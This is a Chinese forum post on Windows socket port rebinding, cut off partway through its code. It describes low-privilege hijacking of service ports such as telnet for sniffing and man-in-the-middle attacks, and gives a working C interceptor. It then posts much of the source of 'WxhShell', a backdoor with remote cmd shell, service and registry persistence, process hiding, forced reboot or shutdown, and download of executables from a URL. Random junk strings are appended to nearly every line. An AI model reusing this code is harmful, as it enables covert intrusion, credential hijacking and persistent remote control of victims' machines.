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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F5RL+rU(h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4r7F8*z  
4qp|g'uXT  
  saddr.sin_family = AF_INET; Ao8ua|:  
 Q&xH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %]&$VVVh  
- [h[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _*6]4\;  
yy=hCjQ)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lQ`=PFh  
];hqI O#nM  
  这意味着什么?意味着可以进行如下的攻击: A6]X aF  
\/YRhQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mdEJ'];AH  
` = O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e O\72? K  
&Y?t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %rG4X  
.)b<cH~%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kEnGr6e  
1#6emMV.`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?iP7Ki  
'wk,t^)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qisvGHo  
IU"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GNMOHqg4  
mG\QF0h  
  #include \)No?fB  
  #include \L(cFjLIl  
  #include B1)Eo2i#  
  #include    ]5"k%v|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   g77M5(ME  
  int main() 'c7nh{F  
  { n8<?<-2  
  WORD wVersionRequested; aNEah  
  DWORD ret; c EYHB1*cT  
  WSADATA wsaData; vd[7Pxe  
  BOOL val; 9Vm1q!lE  
  SOCKADDR_IN saddr; qX-ptsQ  
  SOCKADDR_IN scaddr; %m |I=P  
  int err; CVa>5 vt  
  SOCKET s; ad: qOm  
  SOCKET sc; >n09K8 A  
  int caddsize; Lmte ~oBi  
  HANDLE mt; 3@I0j/1#k1  
  DWORD tid;   -{cmi,oy  
  wVersionRequested = MAKEWORD( 2, 2 ); CK7([>2  
  err = WSAStartup( wVersionRequested, &wsaData ); G^ W0!u,@  
  if ( err != 0 ) { :>fT=$i@  
  printf("error!WSAStartup failed!\n"); {oqbV#/&  
  return -1; {h+8^   
  } w. k9{f  
  saddr.sin_family = AF_INET; T ?[28|  
   }:IIk-JoC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 58s-RO6  
bXnUz?1!d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5j`xSG  
  saddr.sin_port = htons(23); ki'$P.v{$w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5)%ahmY  
  { #h[>RtP:  
  printf("error!socket failed!\n"); !Ap5Uwd  
  return -1; wN!\$i@E:  
  } LIcc0w3  
  val = TRUE; $IE}fgA@5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3@V?L:J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =PRQ3/?5  
  { U.<j2K um  
  printf("error!setsockopt failed!\n"); L\2"1%8Wj  
  return -1; MV"n{1B  
  } d&Nnp jH}c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wSjDa.?'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B"&-) (  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S $p>sItO  
$NVVurXa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^+P.f[  
  { WoZU} T-  
  ret=GetLastError(); xQFY/Z  
  printf("error!bind failed!\n"); 0V~zZ/e  
  return -1; x fb .Z(  
  } .2E/(VM  
  listen(s,2); _c>ww<*3  
  while(1) ^!\1q<@n  
  { OvX&5Q5  
  caddsize = sizeof(scaddr); H@uu;:l<7A  
  //接受连接请求 UT\4Xk<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,m#  
  if(sc!=INVALID_SOCKET) m%[e_eS  
  { J>A9]%M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); unFRfec{  
  if(mt==NULL) Gm B&TD m  
  { sq2:yt  
  printf("Thread Creat Failed!\n"); EQ$k^Y8 "  
  break; Am F[#)90P  
  } * 1;4&/93o  
  } &gp&i?%X9b  
  CloseHandle(mt); v?VDASR2`  
  } L/ 7AGR|;C  
  closesocket(s); h <4`|Bg+  
  WSACleanup(); 4 Im>2 )  
  return 0; %nZ:)J>kz  
  }   KkCGL*]K  
  DWORD WINAPI ClientThread(LPVOID lpParam) j,j|'7J%  
  { `<nxXsLe  
  SOCKET ss = (SOCKET)lpParam; qzZ/%{Ak  
  SOCKET sc; f'=u`*(b7  
  unsigned char buf[4096]; uY.Ns ?8  
  SOCKADDR_IN saddr; d1cp=RbC  
  long num; i O$87!  
  DWORD val; Z^|N]Ej  
  DWORD ret; }nlS&gew^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $2a"Ec!7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )$!b`u  
  saddr.sin_family = AF_INET; 5GM-*Ak@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ii?T:T@  
  saddr.sin_port = htons(23); OyO]; Yk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T`E0_ZU;  
  { 9vV==A#  
  printf("error!socket failed!\n"); {32m&a  
  return -1; S~3|1Hw*tN  
  } s`$}xukT  
  val = 100;  tKV,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /9pxEidVAS  
  { IAQ<|3Q  
  ret = GetLastError(); n[Q(q[ULV  
  return -1; b=5w>*  
  } qSNCBn '  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;].X;Ky <  
  { pT|s#-}  
  ret = GetLastError(); bo|THS  
  return -1; |*c1S -#  
  } }i8y/CA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gxl7j Y  
  { _RaE: )  
  printf("error!socket connect failed!\n"); @S@VsgQ%3Z  
  closesocket(sc); jC'h54 ,Mr  
  closesocket(ss); F1.Xk1y%  
  return -1; 8JY0]G6  
  } 9qftMDLZJ\  
  while(1) q@wD@_  
  { 6bPxEILm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?z.?(xZ 6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %C/p+Tg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e6taQz@}  
  num = recv(ss,buf,4096,0); q TJ0}F  
  if(num>0) 1%v6d !  
  send(sc,buf,num,0); 8_}t,BC  
  else if(num==0) cTq@"v di  
  break; P\MDD@  
  num = recv(sc,buf,4096,0); 9K@ I  
  if(num>0) gL_1~"3KGC  
  send(ss,buf,num,0); &<;T$Y  
  else if(num==0) Odo)h  
  break; J!l/.:`6  
  } 7*PBJt\  
  closesocket(ss); Ye3o}G9z  
  closesocket(sc); GY%5N= u  
  return 0 ; |N`0G.#  
  } b,^ "-r  
Nud =K'P=  
Ss%Cf6qdWL  
========================================================== vcFR Td  
5.\p]>|G1  
下边附上一个代码,,WXhSHELL e8<}{N0,n  
zb{79Os[B  
========================================================== P4#i]7%  
0;l~B  
#include "stdafx.h" iF+:j8 b  
"Ol:ni1  
#include <stdio.h> 7"'RE95  
#include <string.h> $Y7VA  
#include <windows.h> &9flNoNR9  
#include <winsock2.h> w(V%EEk  
#include <winsvc.h> y7>3hfn~w  
#include <urlmon.h> q'8*bu_  
v)Y)tu>  
#pragma comment (lib, "Ws2_32.lib") .jD!+wv{9  
#pragma comment (lib, "urlmon.lib") ;D~#|CB  
2VY7?1Ab(@  
#define MAX_USER   100 // 最大客户端连接数 B<I(t"s  
#define BUF_SOCK   200 // sock buffer :"Xnu%1  
#define KEY_BUFF   255 // 输入 buffer .6`r`|=  
]_(hUj._  
#define REBOOT     0   // 重启 inU5eronuj  
#define SHUTDOWN   1   // 关机 }W'j Dz7O  
)IcSdS0@M  
#define DEF_PORT   5000 // 监听端口 c ?CD;Pk  
Q!q6R^5!K  
#define REG_LEN     16   // 注册表键长度 8vuTF*{yZ  
#define SVC_LEN     80   // NT服务名长度 uMDd Zj&  
H/{@eaV  
// 从dll定义API .L^*9Y0)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zd5=W"Y;]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6#Z] yk+p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _S{TjGZ&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  b+a+OI D  
KfjWZ4{v  
// wxhshell配置信息 tF),Sn|*  
struct WSCFG { Az@@+?,%Y  
  int ws_port;         // 监听端口 (W h)Ov"  
  char ws_passstr[REG_LEN]; // 口令 N*36rR$^  
  int ws_autoins;       // 安装标记, 1=yes 0=no !U% |pa  
  char ws_regname[REG_LEN]; // 注册表键名 fof}I:vO  
  char ws_svcname[REG_LEN]; // 服务名 RVA ku  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SY5}Bu#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 68P'<|u?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .hH_1Mo8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !AXLoq$SY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oIO@#   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )K?7(H/j  
{v0r'+`  
}; 'l(s)Oa{M:  
8|@) #:  
// default Wxhshell configuration 8a*&,W  
struct WSCFG wscfg={DEF_PORT, i&H^xgm  
    "xuhuanlingzhe", SLEOc OAmD  
    1, U3_O}X+  
    "Wxhshell", 8TpYt)]S  
    "Wxhshell", <B>qE a_I  
            "WxhShell Service", 1Z ~C3)T=  
    "Wrsky Windows CmdShell Service", |9XoRGgXU  
    "Please Input Your Password: ", JYWoQ[ZO#>  
  1, Ml c_w19C9  
  "http://www.wrsky.com/wxhshell.exe", kk`K;`[tB  
  "Wxhshell.exe" E] g Lwg9K  
    }; 8SRUqe[H]  
lF64g  
// 消息定义模块 v76P?[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 564L.^$@|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P<X?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _w\i~To!  
char *msg_ws_ext="\n\rExit."; +pgHCzwJE  
char *msg_ws_end="\n\rQuit."; oH17!$Fly  
char *msg_ws_boot="\n\rReboot..."; uxn+.fA  
char *msg_ws_poff="\n\rShutdown..."; tXA?[ S  
char *msg_ws_down="\n\rSave to "; &-FG}|*4M  
8nBYP+t,e  
char *msg_ws_err="\n\rErr!"; Il4]1d|  
char *msg_ws_ok="\n\rOK!"; &Ih }"  
iLv -*%%  
char ExeFile[MAX_PATH]; g%= K rO  
int nUser = 0; P !f{U;B  
HANDLE handles[MAX_USER]; c`x4."m  
int OsIsNt; Z":m(}u O  
BegO\0%+  
SERVICE_STATUS       serviceStatus; <gi~:%T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P9m  
9=$ pV==  
// 函数声明 I}u\ov_Su  
int Install(void); 6 8n ;#-X  
int Uninstall(void); i 1w ]j  
int DownloadFile(char *sURL, SOCKET wsh); jA{B G_  
int Boot(int flag); u9Adu`  
void HideProc(void); W=EcbH9/.)  
int GetOsVer(void);  .?CaU  
int Wxhshell(SOCKET wsl); uQbag]&j  
void TalkWithClient(void *cs); %S"z9@  
int CmdShell(SOCKET sock); zQ:nL*X'Z"  
int StartFromService(void); ,7cw%mQA  
int StartWxhshell(LPSTR lpCmdLine); b=BNbmX  
cQLPgE0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nLAwo3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i[LnU#+  
}R}M>^(R4  
// 数据结构和表定义 LiFR7\z  
SERVICE_TABLE_ENTRY DispatchTable[] = 'LG\]h>+)  
{ Q)4[zStR#  
{wscfg.ws_svcname, NTServiceMain}, vv)w@A:Vn)  
{NULL, NULL} NG3:=  
}; :9L}jz  
a!6r&<s=E  
// 自我安装 indbg d  
int Install(void) <,p$eQ)T%  
{ < ~CY?  
  char svExeFile[MAX_PATH]; /g*_dH)=  
  HKEY key; nm\f$K>Pg  
  strcpy(svExeFile,ExeFile); ?>ZrdfTwz,  
rZ.=Lq  
// 如果是win9x系统,修改注册表设为自启动 +W1l9n*  
if(!OsIsNt) { _}j>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +KExK2=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #p;<X|Hc}8  
  RegCloseKey(key); m,hqq%qz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { COW lsca  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jJYCGK$=  
  RegCloseKey(key); $A74V [1^  
  return 0; NE`;=26c  
    } 7o+VhW<|5  
  } He4q-\ht  
} H/W&a2R^P  
else { t3}_mJ  
uCW}q.@4  
// 如果是NT以上系统,安装为系统服务 ~ cu+QR)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c 3| Lk7Q  
if (schSCManager!=0) J+0 ?e9  
{ Tf$>^L  
  SC_HANDLE schService = CreateService S=< ]u  
  ( v{lDEF@2^N  
  schSCManager, b!SIs*  
  wscfg.ws_svcname, +LWgby4q  
  wscfg.ws_svcdisp, ]+^4Yq>2  
  SERVICE_ALL_ACCESS, MD1d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xXV15%&  
  SERVICE_AUTO_START, _6nza)OFH  
  SERVICE_ERROR_NORMAL, DT;;4- {  
  svExeFile, c&RiUU7  
  NULL, @ohJ'  
  NULL, 6xh -m  
  NULL, y fS  
  NULL, z}VCiS0  
  NULL {[H#lX 4  
  ); ^CDh! )  
  if (schService!=0) _cfAJ)8=  
  { n n8N 9w  
  CloseServiceHandle(schService); /oM&29 jy  
  CloseServiceHandle(schSCManager); ER]C;DYX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +x:VIi  
  strcat(svExeFile,wscfg.ws_svcname); MhFj>t   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5oD%~Fk l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |>I4(''}  
  RegCloseKey(key); _{i- .;K  
  return 0; xdsF! Zb  
    } Zr\G=0`  
  } 7,9zj1<  
  CloseServiceHandle(schSCManager); !Nhq)i  
} = 6w(9O  
} !.{{QwZ  
4~:D7",Jn  
return 1; ?=Z0N&}[  
} Zf\It<zT5  
ZcN%F)htm  
// 自我卸载 [;INVUwG^  
int Uninstall(void) 0ipYXbC  
{ 0jefV*3qpB  
  HKEY key; U./1OZ&  
q/tC/V%@(  
if(!OsIsNt) { j\@|oW0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;V~~lcD&Y`  
  RegDeleteValue(key,wscfg.ws_regname); TH}+'m  
  RegCloseKey(key); Sh5SOYLz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {7q +3f <  
  RegDeleteValue(key,wscfg.ws_regname); J 9k~cz  
  RegCloseKey(key); ;6zp,t0  
  return 0; y {1p#  
  } 8|#p D4e  
} X=OJgyO/  
} o[eIwGxZ  
else { Y{#m=-h  
s%qK<U4@;Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); & 5YI!; q,  
if (schSCManager!=0) s*pgR=dZZ  
{ AJH-V 6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YVLaO*( f  
  if (schService!=0) cS1BB#N0  
  { FmRa]31W  
  if(DeleteService(schService)!=0) { PizPsJ|&  
  CloseServiceHandle(schService); U~8 oE_+  
  CloseServiceHandle(schSCManager); _-I0f##.  
  return 0; #G ZGk?  
  } rj].bGQ,+  
  CloseServiceHandle(schService); `#~HCl  
  } 8.Ty ,7Z  
  CloseServiceHandle(schSCManager); pYs"Y;%  
} &Qdd\h#  
} 9WuKW***  
P}QuGy[  
return 1; Ls^$E  
} Et+N4w  
=p)Wxk  
// 从指定url下载文件 &H{KXX"X  
int DownloadFile(char *sURL, SOCKET wsh) )rs);Pl  
{ B6b {hsO  
  HRESULT hr; k w!1]N  
char seps[]= "/"; 0 .dSP$e  
char *token; BI]%$rq  
char *file; xCV3HnZ  
char myURL[MAX_PATH]; &?<o692  
char myFILE[MAX_PATH]; ,9f$a n  
jibrSz  
strcpy(myURL,sURL); (k..ll p~  
  token=strtok(myURL,seps); q*<Df=+B  
  while(token!=NULL) Gu:aSb  
  { ; . c]0  
    file=token; PU^Z7T);  
  token=strtok(NULL,seps); <5~} !N X`  
  } ds4)Nk4%O  
>i4UU0m  
GetCurrentDirectory(MAX_PATH,myFILE); f[!Q R  
strcat(myFILE, "\\"); 7b,u|F  
strcat(myFILE, file); w7"Z @$fs  
  send(wsh,myFILE,strlen(myFILE),0); @fbB3  
send(wsh,"...",3,0); l 49)Cv/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *"Ipu"G5?  
  if(hr==S_OK) t\]CdH`+  
return 0; lV^sVN Z]  
else c;ELAns>  
return 1; @M"h_Z1#  
M#d_kDMw  
} x 1$tS#lS  
2`l$uEI3oJ  
// 系统电源模块 J%;TK6  
int Boot(int flag) %?C{0(Z{  
{ UtiS?w6  
  HANDLE hToken; . c+RFX@0  
  TOKEN_PRIVILEGES tkp; pWB)N7x&  
Z| +/Wl-h  
  if(OsIsNt) { 3Cwqy#X#8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /"Om-DK%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v. ,C"^W  
    tkp.PrivilegeCount = 1; 9QI\[lT&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !o&Mw:d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A[!Fg0X0  
if(flag==REBOOT) { o_EXbS]C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #Qy*zU#9  
  return 0; N Q{ X IN~  
} )D@1V=9,  
else { iR(A ^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^C@uP9g  
  return 0; S0g5Ym ia  
} p(~>u'c  
  } 4fZ$&)0&  
  else { ALwkX"AN  
if(flag==REBOOT) { }O@S ;[v S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M0x5s@  
  return 0; (ZjIwA9>  
} _4rb7"b1  
else { &H,j .~a&l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7vcYI#(2 Y  
  return 0; M{:gc7%  
} Z%XBuq:BY  
} \y: 0+s/  
X c,UR .  
return 1; T2} I,{U  
} <Ky\ ^  
_$wWKJy9  
// win9x进程隐藏模块 McxJ C<  
void HideProc(void) @"kA&=0;|J  
{ DhY9)>4M  
(OYR, [*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ()(@Qcc  
  if ( hKernel != NULL ) b UAjt>+  
  { Yiu)0\ o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,<|EoravH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q!""pr<n  
    FreeLibrary(hKernel); <hdR:k@ #  
  } PFG):i-?  
C\.?3  
return; ZHICpL  
} }o=R7n%  
A! <R?  
// 获取操作系统版本 Fmt5"3B  
int GetOsVer(void) L,waQk / @  
{ aAu upPu  
  OSVERSIONINFO winfo; }^?dK3~q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [ G[HQ)A  
  GetVersionEx(&winfo); W8yr06{]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E7^tU416  
  return 1; 20 zIO.&o  
  else {NKDmeg:D  
  return 0; ]Vl * !,(i  
} -YA1Uk  
A7+eWg{  
// 客户端句柄模块 # u^FB  
int Wxhshell(SOCKET wsl) #rzxFMA"  
{ cm-cwPAh  
  SOCKET wsh; }/(fe`7:  
  struct sockaddr_in client; +%?_1bGX>  
  DWORD myID; ^z9ITGB~tV  
Z?XE~6aP>  
  while(nUser<MAX_USER) 3UD_2[aqN(  
{ 9j:?s;B  
  int nSize=sizeof(client); S=krF yFw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); twNZ^=SGr  
  if(wsh==INVALID_SOCKET) return 1; @5acTY Q  
S<88>|&n]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qK.8^{b  
if(handles[nUser]==0) FFR_1Vf  
  closesocket(wsh); cEve70MV  
else ["MF-tQ5  
  nUser++; [% |i  
  } ]#j]yGV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WkXa%OZ  
6}n_r}kNR  
  return 0; f/*Xw{s#  
} vs7Hg )F  
ysGK5kFz  
// 关闭 socket r$=iM:kERC  
void CloseIt(SOCKET wsh) ~-A5h(  
{ |"5NI'X?  
closesocket(wsh); BNQ~O^R0  
nUser--; UXDd8OJL  
ExitThread(0); "CT'^d+  
} rVt6tx  
tL 3]9qfj  
// 客户端请求句柄 .N5}JUj  
void TalkWithClient(void *cs) lDCoYX_  
{ &P&M6v+  
flR6^6E  
  SOCKET wsh=(SOCKET)cs; -% 5*c61  
  char pwd[SVC_LEN]; 9,`WQ+OI  
  char cmd[KEY_BUFF]; #=OKY@z/  
char chr[1]; (05/}PhB`  
int i,j; +]Po!bN@@  
;&s`g   
  while (nUser < MAX_USER) { Eu l,1yR  
'.c [7zL  
if(wscfg.ws_passstr) { |k^'}n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F7Mf>."  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DJS0;!# |O  
  //ZeroMemory(pwd,KEY_BUFF); W[AX?  
      i=0; #:3ca] k  
  while(i<SVC_LEN) { 4sP0oe[h  
]- ")r  
  // 设置超时 0 x4Xs  
  fd_set FdRead; E2Q;1Re@  
  struct timeval TimeOut; plh.-"   
  FD_ZERO(&FdRead); FF0N{bY  
  FD_SET(wsh,&FdRead); $k,Z)2  
  TimeOut.tv_sec=8; Xjw> Qws  
  TimeOut.tv_usec=0; Q]S~H+eRy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f<=<:+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4&r[`gL  
AA6_D?)vv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WldlN?[j  
  pwd=chr[0]; 6y)TXp  
  if(chr[0]==0xd || chr[0]==0xa) { V: fz  
  pwd=0; s )POtJ<  
  break; ({v$!AAv  
  } E/v.+m  
  i++; *T-+Pm-Cq  
    } ]>tYU   
r{!]` '8  
  // 如果是非法用户,关闭 socket ]i(tou-[i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $sTbFY  
} |]1-ck!  
!8lG"l|,l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k |k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ea kj>7\s  
m2F2  
while(1) { = NHuj.  
##+|zka!U  
  ZeroMemory(cmd,KEY_BUFF); ]-QY, k  
N: ?UA  
      // 自动支持客户端 telnet标准   HY0q!.qog  
  j=0; ajC'C!"^Ty  
  while(j<KEY_BUFF) { x' >Nz{B,P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V T8PV5z  
  cmd[j]=chr[0]; $&& mGD;?K  
  if(chr[0]==0xa || chr[0]==0xd) { 7|%|w  
  cmd[j]=0; 0zQ"5e?qy  
  break; qB6@OS  
  } s~ ||Vv!  
  j++; d3-F?i 5d  
    } ]L+YnZ?6  
HK&Ul=^VN|  
  // 下载文件 ~QgyhJM_h=  
  if(strstr(cmd,"http://")) { h DpIwzJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QZ?#ixvJ  
  if(DownloadFile(cmd,wsh)) ~e*3_l>9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 701a%Jq_2  
  else P 4Vi~zMX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `EKmp|B_p_  
  } Y-!~x0-H  
  else { @Wgd(Ezd  
ffoL]u\  
    switch(cmd[0]) { s%M#  
  ?tzJ7PJ~B  
  // 帮助 O[}{$NXw  
  case '?': { A*+pGQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h?_Cv*0q  
    break; ] V|hDU=t  
  } gu?e%]X3  
  // 安装 o>|&k]W/  
  case 'i': { =MR.*m{  
    if(Install()) YcQ$nZAU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #(@!:f1  
    else y;Ez|MS   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X,5}i5'!  
    break; ,+w9_Gy2H  
    } Z9 z!YaOL  
  // 卸载 \c ')9g@  
  case 'r': { o<h2]TN  
    if(Uninstall()) x[?N[>uw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @jL](Mq|]  
    else SjosbdD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {F!/\ 2a  
    break; ;X_bDiG$  
    } 6=cfr; BH2  
  // 显示 wxhshell 所在路径 vHJOpQmt~  
  case 'p': { LNz  
    char svExeFile[MAX_PATH]; &}'FC7}  
    strcpy(svExeFile,"\n\r"); fe!eZiE  
      strcat(svExeFile,ExeFile); kM6i{{Q  
        send(wsh,svExeFile,strlen(svExeFile),0); rn$G.SMgz  
    break; sKy3('5;  
    } (rmOv\hG9V  
  // 重启 e{Q;,jsh  
  case 'b': { s5bqS'%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); - -fRhN>  
    if(Boot(REBOOT)) SFu]*II;{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sX@}4[)<&  
    else { o3"Nxq"U  
    closesocket(wsh); c,2OICj  
    ExitThread(0); >jU25"XI[  
    } -Oi8]Xw^@y  
    break; zq6)jHfq.  
    } dhX$b!DA  
  // 关机 mEm=SpO[$o  
  case 'd': { c@E;v<r'  
